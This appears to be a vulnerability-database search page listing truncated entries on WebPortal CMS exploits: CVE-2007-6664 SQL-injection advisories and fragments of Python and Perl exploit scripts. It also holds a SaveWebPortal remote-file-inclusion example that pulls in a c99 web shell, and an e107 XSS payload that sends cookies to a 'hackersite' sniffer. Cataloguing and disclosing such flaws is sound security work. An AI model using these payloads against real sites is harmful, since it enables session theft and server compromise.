358 matches found
WebPortal CMS 0.6-beta Remote Password Change Exploit
No description provided by source. !/usr/bin/python ================================================================================================= / | |\ \ / | / |/ | | |/ \ | | / \ \ | \ ...
webportalcms-passwd.txt
!/usr/bin/python ================================================================================================= / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / ================================================================================================= This is a Public Exploit. Date:...
CVE-2007-6664
SQL injection vulnerability in index.php in WebPortal CMS 0.6.0 and earlier allows remote attackers to execute arbitrary SQL commands via the m parameter...
Sql injection
SQL injection vulnerability in index.php in WebPortal CMS 0.6.0 and earlier allows remote attackers to execute arbitrary SQL commands via the m parameter...
CVE-2007-6664
CVE-2007-6664 is a SQL injection vulnerability in WebPortal CMS 0.6.0 and earlier. The flaw resides in the index.php handling of the m parameter, allowing remote attackers to execute arbitrary SQL commands. The NVD notes a base score of 7.5 (High) with network access, low attack complexity, and n...
CVE-2007-6664
SQL injection vulnerability in index.php in WebPortal CMS 0.6.0 and earlier allows remote attackers to execute arbitrary SQL commands via the m parameter...
WebPortal CMS 0.6-beta - Remote Password Change
!/usr/bin/python ================================================================================================= / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / ================================================================================================= This is a Public Exploit. Date:...
WebPortal CMS 0.6-beta - Remote Password Change
WebPortal CMS 0.6-beta - Remote Password Change !/usr/bin/python ================================================================================================= / | |\ \ / | / |/ | | |/ \ | | | |||| /| / /...
WebPortal CMS 0.6-beta Remote Password Change Exploit
Exploit for unknown platform in category web applications ===================================================== WebPortal CMS 0.6-beta Remote Password Change Exploit ===================================================== !/usr/bin/python...
WebPortal CMS <= 0.6.0 (index.php m) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w WebPortal CMS = 0.6.0 Remote Sql Injection Exploit Script Site : webportal.ivanoculmine.com by x0kster - x0ksterATgmailDOTcom PoC :...
webportalcms-sql.txt
!/usr/bin/perl -w WebPortal CMS If we select an inesistent id of a mod, it'll try to include it. So we have a warning error with the hash!. use LWP::UserAgent; if @ARGV new or die "-LWP::UserAgent error.\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; print "+Exploiting.\n"; $host...
WebPortal CMS 'index.php' SQL Injection Vulnerability
WebPortal CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the...
WebPortal CMS 0.6.0 - index.php SQL Injection
WebPortal CMS 0.6.0 - index.php SQL Injection !/usr/bin/perl -w WebPortal CMS If we select an inesistent id of a mod, it'll try to include it. So we have a warning error with the hash!. use LWP::UserAgent; if @ARGV new or die "-LWP::UserAgent error.\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0;...
WebPortal CMS <= 0.6.0 (index.php m) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================= WebPortal CMS If we select an inesistent id of a mod, it'll try to include it. So we have a warning error with the hash!. use LWP::UserAgent; if @ARGV new or die...
WebPortal CMS 0.6.0 - 'index.php' SQL Injection
!/usr/bin/perl -w WebPortal CMS If we select an inesistent id of a mod, it'll try to include it. So we have a warning error with the hash!. use LWP::UserAgent; if @ARGV new or die "-LWP::UserAgent error.\n"; $b-agent'Mozilla/4.0 compatible; MSIE 7.0; Windows NT 5.1'; print "+Exploiting.\n"; $host...
SaveWebPortal Page参数远程文件包含漏洞
SaveWebPortal是一款基于PHP的WEB应用程序。 SaveWebPortal不正确过滤用户提交的URI数据,远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'index.php'脚本对用户提交的'page'参数缺少过滤,提交恶意的远程服务器作为包含对象,可导致以WEB进程权限执行任意PHP代码。 circeOS SaveWebPortal 3.4 http://www.circeos.it/ http://www.example.com/index.php?page=http://www.example2.com/c99.php.txt...
CVE-2006-5303
Secure Computing SafeWord RemoteAccess 2.1 allows local users to obtain the UserCenter webportal password, database encryption keys, and signing keys by reading 1 base-64 encoded data in SERVERS\Web\Tomcat\usercenter\WEB-INF\login.conf and 2 plaintext data in SERVERS\Shared\signers.cfg. NOTE: the...
e107 WebPortal
Hello, Zaraza Type:CSS in forum/ LINK=http://www.site.ru" onclick=document.location.hef='http://hackersite/cgi-bin/cookiesniffer.cgi?'+document.cookie;target="blanksite.ru/LINK IMGjavascript:alert'HELLO, This CSS attack ;'/IMG -- Best regards, B4D$c0Rp mailto:[email protected] 01.06.2005, 22:49...